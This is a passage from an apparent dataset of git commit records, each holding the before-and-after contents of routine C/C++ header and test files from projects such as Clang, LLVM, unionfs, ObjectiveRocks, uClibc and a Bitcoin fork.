\/gpdb,lpetrov-pivotal\/gpdb,rubikloud\/gpdb,xinzweb\/gpdb,0x0FFF\/gpdb,atris\/gpdb,foyzur\/gpdb,tangp3\/gpdb,kaknikhil\/gpdb,cjcjameson\/gpdb,royc1\/gpdb,rvs\/gpdb,Quikling\/gpdb,snaga\/postgres-xl,techdragon\/Postgres-XL,edespino\/gpdb,yuanzhao\/gpdb,xinzweb\/gpdb,ahachete\/gpdb,rubikloud\/gpdb,adam8157\/gpdb,yuanzhao\/gpdb,randomtask1155\/gpdb,rvs\/gpdb,chrishajas\/gpdb,lisakowen\/gpdb,rubikloud\/gpdb,lintzc\/gpdb,atris\/gpdb,rvs\/gpdb,zaksoup\/gpdb,xuegang\/gpdb,foyzur\/gpdb,lpetrov-pivotal\/gpdb,atris\/gpdb,rvs\/gpdb,Postgres-XL\/Postgres-XL,50wu\/gpdb,cjcjameson\/gpdb,Chibin\/gpdb,yazun\/postgres-xl,lintzc\/gpdb,Postgres-XL\/Postgres-XL,xuegang\/gpdb,adam8157\/gpdb,royc1\/gpdb,ahachete\/gpdb,lisakowen\/gpdb,janebeckman\/gpdb,yuanzhao\/gpdb,Quikling\/gpdb,Chibin\/gpdb,jmcatamney\/gpdb,atris\/gpdb,lisakowen\/gpdb,tpostgres-projects\/tPostgres,pavanvd\/postgres-xl,greenplum-db\/gpdb,xinzweb\/gpdb,kmjungersen\/PostgresXL,pavanvd\/postgres-xl,atris\/gpdb,zaksoup\/gpdb,cjcjameson\/gpdb,arcivanov\/postgres-xl,oberstet\/postgres-xl,Quikling\/gpdb,edespino\/gpdb,0x0FFF\/gpdb,techdragon\/Postgres-XL,jmcatamney\/gpdb,CraigHarris\/gpdb"}
{"commit":"bf5fc320c8d772d44768413602dc82fd197552ea","old_file":"include\/clang\/Driver\/HostInfo.h","new_file":"include\/clang\/Driver\/HostInfo.h","old_contents":"","new_contents":"\/\/===--- HostInfo.h - Host specific information -----------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef CLANG_DRIVER_HOSTINFO,_H_\n#define CLANG_DRIVER_HOSTINFO_H_\n\n#include <string>\n\nnamespace clang {\nnamespace driver {\n  class ArgList;\n  class ToolChain;\n\n\/\/\/ HostInfo - Config information about a particular host which may\n\/\/\/ interact with driver behavior.\n\/\/\/ \n\/\/\/ The host information is used for controlling the parts of the\n\/\/\/ driver which interact with the platform the driver is ostensibly\n\/\/\/ being run from. For testing purposes, the HostInfo used by the\n\/\/\/ driver may differ from the actual host.\nclass HostInfo {\n  std::string Arch, Platform, OS;\n\nprotected:\n  HostInfo(const char *Arch, const char *Platform, const char *OS);\n\npublic:\n  virtual ~HostInfo();\n\n  \/\/\/ useDriverDriver - Whether the driver should act as a driver\n  \/\/\/ driver for this host and support -arch, -Xarch, etc.\n  virtual bool useDriverDriver() const = 0;\n\n  \/\/\/ getToolChain - Construct the toolchain to use for this host.\n  \/\/\/\n  \/\/\/ \\param Args - The argument list, which may be used to alter the\n  \/\/\/ default toolchain, for example in the presence of -m32 or -m64.\n  \/\/\/\n  \/\/\/ \\param ArchName - The architecture to return a toolchain for, or\n  \/\/\/ 0 if unspecified. This will only be non-zero for hosts which\n  \/\/\/ support a driver driver.\n  virtual ToolChain *getToolChain(const ArgList &Args, \n                                  const char *ArchName) const = 0;\n};\n\n\/\/\/ DarwinHostInfo - Darwin host information implementation.\nclass DarwinHostInfo : public HostInfo {\n  \/\/\/ Darwin version of host.\n  unsigned DarwinVersion[3];\n\n  \/\/\/ GCC version to use on this host.\n  unsigned GCCVersion[3];\n\npublic:\n  DarwinHostInfo(const char *Arch, const char *Platform, const char *OS);\n\n  virtual bool useDriverDriver() const;\n\n  virtual ToolChain *getToolChain(const ArgList &Args, \n                                  const char *ArchName) const;\n};\n\n\/\/\/ UnknownHostInfo - Generic host information to use for unknown\n\/\/\/ hosts.\nclass UnknownHostInfo : public HostInfo {\npublic:\n  UnknownHostInfo(const char *Arch, const char *Platform, const char *OS);\n\n  virtual bool useDriverDriver() const;\n\n  virtual ToolChain *getToolChain(const ArgList &Args, \n                                  const char *ArchName) const;\n};\n\n} \/\/ end namespace driver\n} \/\/ end namespace clang\n\n#endif\n","subject":"Add host info (add new files).","message":"Driver: Add host info (add new files).\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@66604 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"c300c7ef4df651096cb83a370f0bbfccd516f9b6","old_file":"solutions\/uri\/1795\/1795.c","new_file":"solutions\/uri\/1795\/1795.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <string.h>\n\nunsigned long long memo[1000];\n\nunsigned long long calculate_sum(unsigned long long line) {\n    if (memo[line] != 0) {\n        return memo[line];\n    }\n\n    if (line == 0) {\n        memo[line] = 1;\n    } else {\n        memo[line] = calculate_sum(line - 1) * 3;\n    }\n\n    return memo[line];\n}\n\nint main() {\n    unsigned long long line;\n    memset(memo, 0, sizeof(memo));\n\n    while(scanf(\"%llu\", &line) != EOF) {\n        printf(\"%llu\\n\", calculate_sum(line));\n    }\n\n    return 0;\n}\n","subject":"Solve Trinomial Triangle in c","message":"Solve Trinomial Triangle in c\n","lang":"C","license":"mit","repos":"deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground"}
{"commit":"acce10551c7483b3fc03ec70ad4982c8d975b729","old_file":"ObjectiveRocks\/ObjectiveRocks.h","new_file":"ObjectiveRocks\/ObjectiveRocks.h","old_contents":"\/\/\n\/\/  ObjectiveRocks.h\n\/\/  ObjectiveRocks\n\/\/\n\/\/  Created by Iska on 20\/11\/14.\n\/\/  Copyright (c) 2014 BrainCookie. All rights reserved.\n\/\/\n\n#import \"RocksDB.h\"\n#import \"RocksDBColumnFamily.h\"\n#import \"RocksDBOptions.h\"\n#import \"RocksDBReadOptions.h\"\n#import \"RocksDBWriteOptions.h\"\n#import \"RocksDBWriteBatch.h\"\n#import \"RocksDBIterator.h\"\n#import \"RocksDBSnapshot.h\"\n#import \"RocksDBComparator.h\"\n#import \"RocksDBMergeOperator.h\"\n\n#import \"RocksDBBackupEngine.h\"\n\n#import \"RocksDBTypes.h\"\n#import \"RocksDBError.h\"\n","new_contents":"\/\/\n\/\/  ObjectiveRocks.h\n\/\/  ObjectiveRocks\n\/\/\n\/\/  Created by Iska on 20\/11\/14.\n\/\/  Copyright (c) 2014 BrainCookie. All rights reserved.\n\/\/\n\n#import \"RocksDB.h\"\n#import \"RocksDBColumnFamily.h\"\n#import \"RocksDBOptions.h\"\n#import \"RocksDBReadOptions.h\"\n#import \"RocksDBWriteOptions.h\"\n#import \"RocksDBWriteBatch.h\"\n#import \"RocksDBIterator.h\"\n#import \"RocksDBSnapshot.h\"\n#import \"RocksDBComparator.h\"\n#import \"RocksDBMergeOperator.h\"\n\n#import \"RocksDBBackupEngine.h\"\n#import \"RocksDBBackupInfo.h\"\n\n#import \"RocksDBTypes.h\"\n#import \"RocksDBError.h\"\n","subject":"Add BackupInfo class to public include header","message":"Add BackupInfo class to public include header\n","lang":"C","license":"mit","repos":"iabudiab\/ObjectiveRocks,iabudiab\/ObjectiveRocks,iabudiab\/ObjectiveRocks,iabudiab\/ObjectiveRocks"}
{"commit":"fae9876b444ebf71c67626d2d3d5f9a11ab7b664","old_file":"common-block.h","new_file":"common-block.h","old_contents":"\/\/ See copyright notice in Copying.\n\n#ifndef COMMON_BLOCK_H\n#define COMMON_BLOCK_H\n\nenum {\n    FLAG_DEFAULT = 0,\n\n    FLAG_IS_FRAGMENT = 1 << 0,\n    FLAG_ADMIN = 1 << 1,\n    FLAG_NO_FRAGMENT = 1 << 2,\n    FLAG_CUSTODY = 1 << 3,\n    FLAG_SINGLETON = 1 << 4,\n    FLAG_ACK = 1 << 5,\n\n    PRIO_RESET = ~(0x3 << 7),\n    PRIO_BULK = 0x0 << 7,\n    PRIO_NORMAL = 0x1 << 7,\n    PRIO_EXPEDITED = 0x2 << 7,\n\n    REPORT_RECEPTION = 1 << 14,\n    REPORT_CUSTODY = 1 << 15,\n    REPORT_FORWARDING = 1 << 16,\n    REPORT_DELIVERY = 1 << 17,\n    REPORT_DELETION = 1 << 18,\n\n    FLAG_REPLICATE = 1 << 0,\n    FLAG_TRANSMIT_STATUS = 1 << 1,\n    FLAG_DELETE_BUNDLE = 1 << 2,\n    FLAG_LAST_BLOCK = 1 << 3,\n    FLAG_DISCARD_BLOCK = 1 << 4,\n    FLAG_FORWARDED = 1 << 5,\n    FLAG_CONTAINS_REF = 1 << 6,\n\n    FLAG_INVALID = 1 << 31,\n};\n\n#endif\n","new_contents":"\/\/ See copyright notice in Copying.\n\n#ifndef COMMON_BLOCK_H\n#define COMMON_BLOCK_H\n\n#define FLAG_DEFAULT 0u\n\n#define FLAG_IS_FRAGMENT (1u << 0)\n#define FLAG_ADMIN (1u << 1)\n#define FLAG_NO_FRAGMENT (1u << 2)\n#define FLAG_CUSTODY (1u << 3)\n#define FLAG_SINGLETON (1u << 4)\n#define FLAG_ACK (1u << 5)\n\n#define PRIO_RESET ~(0x3u << 7)\n#define PRIO_BULK (0x0u << 7)\n#define PRIO_NORMAL (0x1u << 7)\n#define PRIO_EXPEDITED (0x2u << 7)\n\n#define REPORT_RECEPTION (1u << 14)\n#define REPORT_CUSTODY (1u << 15)\n#define REPORT_FORWARDING (1u << 16)\n#define REPORT_DELIVERY (1u << 17)\n#define REPORT_DELETION (1u << 18)\n\n#define FLAG_REPLICATE (1u << 0)\n#define FLAG_TRANSMIT_STATUS (1u << 1)\n#define FLAG_DELETE_BUNDLE (1u << 2)\n#define FLAG_LAST_BLOCK (1u << 3)\n#define FLAG_DISCARD_BLOCK (1u << 4)\n#define FLAG_FORWARDED (1u << 5)\n#define FLAG_CONTAINS_REF (1u << 6)\n\n#define FLAG_INVALID (1u << 31)\n\n#endif\n","subject":"Convert flag constants from enum to defines","message":"Convert flag constants from enum to defines\n\nThis fixes signedness errors\n","lang":"C","license":"mit","repos":"kchmck\/mkbundle"}
{"commit":"2b708e4b50326969e78877fdf144624d79815b8d","old_file":"src\/unionfs.h","new_file":"src\/unionfs.h","old_contents":"\/*\n* License: BSD-style license\n* Copyright: Radek Podgorny <radek@podgorny.cz>,\n*            Bernd Schubert <bernd-schubert@gmx.de>\n*\/\n\n#ifndef UNIONFS_H\n#define UNIONFS_H\n\n#define PATHLEN_MAX 1024\n#define HIDETAG \"_HIDDEN~\"\n#define METADIR \".unionfs\/\"\n\ntypedef struct {\n\tchar *path;\n\tint fd; \/\/ used to prevent accidental umounts of path\n\tunsigned char rw; \/\/ the writable flag\n} branch_entry_t;\n\n\/**\n * structure to have information about the current union\n *\/\ntypedef struct {\n\t\/\/ read-writable branches\n\tstruct rw_branches {\n\t\tint n_rw;\t \/\/ number of rw-branches\n\t\tunsigned *rw_br; \/\/ integer array of rw-branches\n\t} rw_branches;\n\n\t\/\/ branches used for statfs\n\tstruct statvfs {\n\t\tint nbranches;\t\/\/ number of statvfs branches\n\t\tint *branches;\t\/\/ array of integers with the branch numbers\n\t} statvfs;\n} ufeatures_t;\n\nextern ufeatures_t ufeatures;\n\n#endif\n","new_contents":"\/*\n* License: BSD-style license\n* Copyright: Radek Podgorny <radek@podgorny.cz>,\n*            Bernd Schubert <bernd-schubert@gmx.de>\n*\/\n\n#ifndef UNIONFS_H\n#define UNIONFS_H\n\n#define PATHLEN_MAX 1024\n#define HIDETAG \"_HIDDEN~\"\n#define METADIR \".unionfs\/\"\n\ntypedef struct {\n\tchar *path;\n\tint fd; \/\/ used to prevent accidental umounts of path\n\tunsigned char rw; \/\/ the writable flag\n} branch_entry_t;\n\n\/**\n * structure to have information about the current union\n *\/\ntypedef struct {\n\t\/\/ read-writable branches\n\tstruct rw_branches {\n\t\tint n_rw;\t \/\/ number of rw-branches\n\t\tunsigned *rw_br; \/\/ integer array of rw-branches\n\t} rw_branches;\n\n\t\/\/ branches used for statfs\n\tstruct ustatvfs {\n\t\tint nbranches;\t\/\/ number of statvfs branches\n\t\tint *branches;\t\/\/ array of integers with the branch numbers\n\t} statvfs;\n} ufeatures_t;\n\nextern ufeatures_t ufeatures;\n\n#endif\n","subject":"Rename our struct statvfs to struct ustatvfs to prevent libc name collision.","message":"Rename our struct statvfs to struct ustatvfs to prevent libc name collision.\n","lang":"C","license":"bsd-3-clause","repos":"evnu\/unionfs-fuse,evnu\/unionfs-fuse,kissthink\/unionfs-fuse-1,jrk\/unionfs-fuse,yogoloth\/unionfs-fuse,kissthink\/unionfs-fuse-1,yogoloth\/unionfs-fuse,jrk\/unionfs-fuse,jrk\/unionfs-fuse,yogoloth\/unionfs-fuse,jrk\/unionfs-fuse,kissthink\/unionfs-fuse-1,evnu\/unionfs-fuse"}
{"commit":"9cea98e320bfc37a6df373245f916b15c68a7f01","old_file":"src\/consensus\/consensus.h","new_file":"src\/consensus\/consensus.h","old_contents":"\/\/ Copyright (c) 2009-2010 Satoshi Nakamoto\n\/\/ Copyright (c) 2009-2015 The Bitcoin Core developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#ifndef BITCOIN_CONSENSUS_CONSENSUS_H\n#define BITCOIN_CONSENSUS_CONSENSUS_H\n\n\/** The maximum allowed size for a serialized block, in bytes (network rule) *\/\nstatic const unsigned int MAX_BLOCK_SIZE = 1000000;\n\/** The maximum allowed number of signature check operations in a block (network rule) *\/\nstatic const unsigned int MAX_BLOCK_SIGOPS = MAX_BLOCK_SIZE\/50;\n\/** Coinbase transaction outputs can only be spent after this number of new blocks (network rule) *\/\nstatic const int COINBASE_MATURITY = 100;\n\n\/** Flags for nSequence and nLockTime locks *\/\nenum {\n    \/* Interpret sequence numbers as relative lock-time constraints. *\/\n    LOCKTIME_VERIFY_SEQUENCE = (1 << 0),\n\n    \/* Use GetMedianTimePast() instead of nTime for end point timestamp. *\/\n    LOCKTIME_MEDIAN_TIME_PAST = (1 << 1),\n};\n\n#endif \/\/ BITCOIN_CONSENSUS_CONSENSUS_H\n","new_contents":"\/\/ Copyright (c) 2009-2010 Satoshi Nakamoto\n\/\/ Copyright (c) 2009-2015 The Bitcoin Core developers\n\/\/ Copyright (c) 2016 The Bitcoin Ocho developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#ifndef BITCOIN_CONSENSUS_CONSENSUS_H\n#define BITCOIN_CONSENSUS_CONSENSUS_H\n\n\/** The maximum allowed size for a serialized block, in bytes (network rule) *\/\n\/** Bitcoin Ocho, we multiply by 8 for Ocho *\/\nstatic const unsigned int MAX_BLOCK_SIZE = 1000000*8;\n\/** The maximum allowed number of signature check operations in a block (network rule) *\/\nstatic const unsigned int MAX_BLOCK_SIGOPS = MAX_BLOCK_SIZE\/50;\n\/** Coinbase transaction outputs can only be spent after this number of new blocks (network rule) *\/\nstatic const int COINBASE_MATURITY = 100;\n\n\/** Flags for nSequence and nLockTime locks *\/\nenum {\n    \/* Interpret sequence numbers as relative lock-time constraints. *\/\n    LOCKTIME_VERIFY_SEQUENCE = (1 << 0),\n\n    \/* Use GetMedianTimePast() instead of nTime for end point timestamp. *\/\n    LOCKTIME_MEDIAN_TIME_PAST = (1 << 1),\n};\n\n#endif \/\/ BITCOIN_CONSENSUS_CONSENSUS_H\n","subject":"Add more Ochoness to Bitcoin.","message":"Add more Ochoness to Bitcoin.\n","lang":"C","license":"mit","repos":"goku1997\/bitcoin,goku1997\/bitcoin,goku1997\/bitcoin,goku1997\/bitcoin,goku1997\/bitcoin,goku1997\/bitcoin"}
{"commit":"ab5acba34782d735f759c709e74d957c9d7418ba","old_file":"test\/FrontendC\/2009-03-09-WeakDeclarations-1.c","new_file":"test\/FrontendC\/2009-03-09-WeakDeclarations-1.c","old_contents":"\/\/ RUN: $llvmgcc $test -c -o \/dev\/null |& \\\n\/\/ RUN: egrep {(14|15|22): warning:} |\t\\\n\/\/ RUN: wc -l | grep --quiet 3\n\/\/ TARGET: *-*-darwin\n\/\/ XFAIL: alpha|ia64|sparc\n\/\/ END.\n\/\/ Insist upon warnings for inappropriate weak attributes.\n\/\/ Note the line numbers (14|15|22) embedded in the check.\n\n\/\/ O.K.\nextern int ext_weak_import __attribute__ ((__weak_import__));\n\n\/\/ These are inappropriate, and should generate warnings:\nint decl_weak_import __attribute__ ((__weak_import__));\nint decl_initialized_weak_import __attribute__ ((__weak_import__)) = 13;\n\n\/\/ O.K.\nextern int ext_f(void) __attribute__ ((__weak_import__));\n\n\/\/ These are inappropriate, and should generate warnings:\nint def_f(void) __attribute__ ((__weak_import__));\nint __attribute__ ((__weak_import__)) decl_f(void) {return 0;};\n","new_contents":"\/\/ RUN: $llvmgcc $test -c -o \/dev\/null |& \\\n\/\/ RUN: egrep {(14|15|22): warning:} |\t\\\n\/\/ RUN: wc -l | grep --quiet 3\n\/\/ XTARGET: darwin\n\/\/ XFAIL: *\n\/\/ END.\n\/\/ Insist upon warnings for inappropriate weak attributes.\n\/\/ Note the line numbers (14|15|22) embedded in the check.\n\n\/\/ O.K.\nextern int ext_weak_import __attribute__ ((__weak_import__));\n\n\/\/ These are inappropriate, and should generate warnings:\nint decl_weak_import __attribute__ ((__weak_import__));\nint decl_initialized_weak_import __attribute__ ((__weak_import__)) = 13;\n\n\/\/ O.K.\nextern int ext_f(void) __attribute__ ((__weak_import__));\n\n\/\/ These are inappropriate, and should generate warnings:\nint def_f(void) __attribute__ ((__weak_import__));\nint __attribute__ ((__weak_import__)) decl_f(void) {return 0;};\n","subject":"Tweak the DejaGNU voodoo to match Bill's advice.","message":"Tweak the DejaGNU voodoo to match Bill's advice.\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@66547 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-llvm,chubbymaggie\/asap,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,dslab-epfl\/asap,chubbymaggie\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,dslab-epfl\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm"}
{"commit":"974eb1d090aece41e72c31772ea7266b1e31f6e7","old_file":"test\/Modules\/Inputs\/submodules\/import-self-b.h","new_file":"test\/Modules\/Inputs\/submodules\/import-self-b.h","old_contents":"@import import_self.c;\n#include \"import-self-d.h\"\n\n\/\/ FIXME: This should not work; names from 'a' should not be visible here.\nMyTypeA import_self_test_a;\n\n\/\/ FIXME: This should work but does not; names from 'b' are not actually visible here.\n\/\/MyTypeC import_self_test_c;\n\nMyTypeD import_self_test_d;\n","new_contents":"\/\/ FIXME: This import has no effect, because the submodule isn't built yet, and\n\/\/ we don't map an @import to a #include in this case.\n@import import_self.c;\n#include \"import-self-d.h\"\n\n\/\/ FIXME: This should not work; names from 'a' should not be visible here.\nMyTypeA import_self_test_a;\n\n\/\/ FIXME: This should work but does not; names from 'c' are not actually visible here.\n\/\/MyTypeC import_self_test_c;\n\nMyTypeD import_self_test_d;\n","subject":"Fix comment typo in test.","message":"Fix comment typo in test.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@200584 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"4169674ac51c5b7c238171daa15dc09a2db51715","old_file":"libkdepim\/kabcresourcenull.h","new_file":"libkdepim\/kabcresourcenull.h","old_contents":"","new_contents":"\/*\n    This file is part of libkdepim.\n\n    Copyright (c) 2004 Cornelius Schumacher <schumacher@kde.org>\n\n    This library is free software; you can redistribute it and\/or\n    modify it under the terms of the GNU Library General Public\n    License as published by the Free Software Foundation; either\n    version 2 of the License, or (at your option) any later version.\n\n    This library is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n    Library General Public License for more details.\n\n    You should have received a copy of the GNU Library General Public License\n    along with this library; see the file COPYING.LIB.  If not, write to\n    the Free Software Foundation, Inc., 59 Temple Place - Suite 330,\n    Boston, MA 02111-1307, USA.\n*\/\n#ifndef KABC_RESOURCENULL_H\n#define KABC_RESOURCENULL_H\n\n#include <kabc\/resource.h>\n\nnamespace KABC {\n\n\/**\n  This resource does nothing.\n*\/\nclass ResourceNull : public Resource\n{\n  public:\n    ResourceNull( const KConfig *cfg ) : Resource( cfg ) {}\n    ResourceNull() : Resource( 0 ) {}\n    virtual ~ResourceNull() {}\n  \n    Ticket *requestSaveTicket() { return 0; }\n    void releaseSaveTicket( Ticket * ) {}\n    bool load() { return false; }\n    bool save( Ticket * ) { return false; }\n};\n\n}\n\n#endif\n","subject":"Add null resource for KABC::AddressBook.","message":"Add null resource for KABC::AddressBook.\n\nsvn path=\/trunk\/kdepim\/; revision=295385\n","lang":"C","license":"lgpl-2.1","repos":"lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi"}
{"commit":"d9eb347432f247879ba10da2a64f810657a09c84","old_file":"source\/core\/recommend-manager\/RandGenerator.h","new_file":"source\/core\/recommend-manager\/RandGenerator.h","old_contents":"\/**\n * @file RandGenerator.h\n * @brief generate random item ids\n * @author Jun Jiang\n * @date 2011-11-30\n *\/\n\n#ifndef RAND_GENERATOR_H\n#define RAND_GENERATOR_H\n\n#include <util\/ThreadModel.h>\n\n#include <boost\/random.hpp>\n\nnamespace sf1r\n{\n\ntemplate<typename ValueType = int,\n         typename Distribution = boost::uniform_int<ValueType>,\n         typename Engine = boost::mt19937,\n         typename LockType = izenelib::util::ReadWriteLock>\nclass RandGenerator\n{\npublic:\n    RandGenerator()\n        : generator_(Engine(), Distribution())\n    {}\n\n    void seed(int value)\n    {\n        ScopedWriteLock lock(lock_);\n\n        generator_.engine().seed(value);\n    }\n\n    ValueType generate(ValueType min, ValueType max)\n    {\n        ScopedWriteLock lock(lock_);\n\n        Distribution& dist = generator_.distribution();\n        if (dist.min() != min || dist.max() != max)\n        {\n            dist = Distribution(min, max);\n        }\n\n        return generator_();\n    }\n\nprivate:\n    typedef boost::variate_generator<Engine, Distribution> Generator;\n    Generator generator_;\n\n    typedef izenelib::util::ScopedWriteLock<LockType> ScopedWriteLock;\n    LockType lock_;\n};\n\n} \/\/ namespace sf1r\n\n#endif \/\/ RAND_GENERATOR_H\n","new_contents":"\/**\n * @file RandGenerator.h\n * @brief generate random item ids\n * @author Jun Jiang\n * @date 2011-11-30\n *\/\n\n#ifndef RAND_GENERATOR_H\n#define RAND_GENERATOR_H\n\n#include <util\/ThreadModel.h>\n\n#include <boost\/random.hpp>\n\nnamespace sf1r\n{\n\ntemplate<typename ValueType = int,\n         typename Distribution = boost::uniform_int<ValueType>,\n         typename Engine = boost::mt19937,\n         typename LockType = izenelib::util::ReadWriteLock>\nclass RandGenerator\n{\npublic:\n    RandGenerator()\n        : generator_(Engine(), Distribution())\n    {}\n\n    void seed(unsigned int value)\n    {\n        ScopedWriteLock lock(lock_);\n\n        Engine& engine = generator_.engine();\n        engine.seed(value);\t\t\n    }\n\n    ValueType generate(ValueType min, ValueType max)\n    {\n        ScopedWriteLock lock(lock_);\n\n        Distribution& dist = generator_.distribution();\n        if (dist.min() != min || dist.max() != max)\n        {\n            dist = Distribution(min, max);\n        }\n\n        return generator_();\n    }\n\nprivate:\n    typedef boost::variate_generator<Engine, Distribution> Generator;\n    Generator generator_;\n\n    typedef izenelib::util::ScopedWriteLock<LockType> ScopedWriteLock;\n    LockType lock_;\n};\n\n} \/\/ namespace sf1r\n\n#endif \/\/ RAND_GENERATOR_H\n","subject":"Fix compile error under boost 1.38, caused by boost\/random.hpp seed()","message":"Fix compile error under boost 1.38, caused by boost\/random.hpp seed()\n","lang":"C","license":"apache-2.0","repos":"pombredanne\/sf1r-lite,izenecloud\/sf1r-ad-delivery,izenecloud\/sf1r-lite,izenecloud\/sf1r-lite,izenecloud\/sf1r-lite,pombredanne\/sf1r-lite,pombredanne\/sf1r-lite,izenecloud\/sf1r-ad-delivery,izenecloud\/sf1r-lite,pombredanne\/sf1r-lite,izenecloud\/sf1r-ad-delivery,pombredanne\/sf1r-lite,izenecloud\/sf1r-lite,izenecloud\/sf1r-ad-delivery,izenecloud\/sf1r-ad-delivery"}
{"commit":"f5e8daa70a39edf01a823aaee724c3d930064a53","old_file":"include\/TaskBase.h","new_file":"include\/TaskBase.h","old_contents":"#ifndef _TPOOL_TASK_BASE_H_\n#define _TPOOL_TASK_BASE_H_\n\n#include <boost\/shared_ptr.hpp>\n\nnamespace tpool {\n  class TaskBase {\n  public:\n    typedef boost::shared_ptr<TaskBase> Ptr;\n\n    ~TaskBase() {}\n    \n    virtual void Do() = 0;\n  };\n}\n\n#endif\n","new_contents":"#ifndef _TPOOL_TASK_BASE_H_\n#define _TPOOL_TASK_BASE_H_\n\n#include <boost\/shared_ptr.hpp>\n\nnamespace tpool {\n  class TaskBase {\n  public:\n    typedef boost::shared_ptr<TaskBase> Ptr;\n    enum State {\n      INIT,\n      RUNNING,\n      FINISHED,\n      CANCELED,\n    };\n\n    ~TaskBase() {}\n    \n    virtual void Do() = 0;\n    virtual State GetState() const;\n  };\n}\n\n#endif\n","subject":"Add the state definitions for Task.","message":"Add the state definitions for Task.\n","lang":"C","license":"mit","repos":"airekans\/Tpool,airekans\/Tpool,airekans\/Tpool"}
{"commit":"38b20649403f2cbffc4581211f1b61868e3b358f","old_file":"include\/features.h","new_file":"include\/features.h","old_contents":"\n#ifndef __FEATURES_H\n#define __FEATURES_H\n\n#ifdef __STDC__\n\n#define __P(x) x\n#define __const const\n\n\/* Almost ansi *\/\n#if __STDC__ != 1\n#define const\n#define volatile\n#endif\n\n#else \/* K&R *\/\n\n#define __P(x) ()\n#define __const\n#define const\n#define volatile\n\n#endif\n\n\/* No C++ *\/\n#define __BEGIN_DECLS\n#define __END_DECLS\n\n\/* GNUish things *\/\n#define __CONSTVALUE\n#define __CONSTVALUE2\n\n#define _POSIX_THREAD_SAFE_FUNCTIONS\n\n#include <sys\/cdefs.h>\n\n\n#endif\n\n","new_contents":"\n#ifndef __FEATURES_H\n#define __FEATURES_H\n\n\n\/* Major and minor version number of the uCLibc library package.  Use\n   these macros to test for features in specific releases.  *\/\n#define\t__UCLIBC__\t\t0\n#define\t__UCLIBC_MAJOR__\t9\n#define\t__UCLIBC_MINOR__\t1\n\n\n#ifdef __STDC__\n\n#define __P(x) x\n#define __const const\n\n\/* Almost ansi *\/\n#if __STDC__ != 1\n#define const\n#define volatile\n#endif\n\n#else \/* K&R *\/\n\n#define __P(x) ()\n#define __const\n#define const\n#define volatile\n\n#endif\n\n\/* No C++ *\/\n#define __BEGIN_DECLS\n#define __END_DECLS\n\n\/* GNUish things *\/\n#define __CONSTVALUE\n#define __CONSTVALUE2\n\n#define _POSIX_THREAD_SAFE_FUNCTIONS\n\n#include <sys\/cdefs.h>\n\n\n#endif\n\n","subject":"Add in a version number so apps can tell uclib is being used. -Erik","message":"Add in a version number so apps can tell uclib is being used.\n 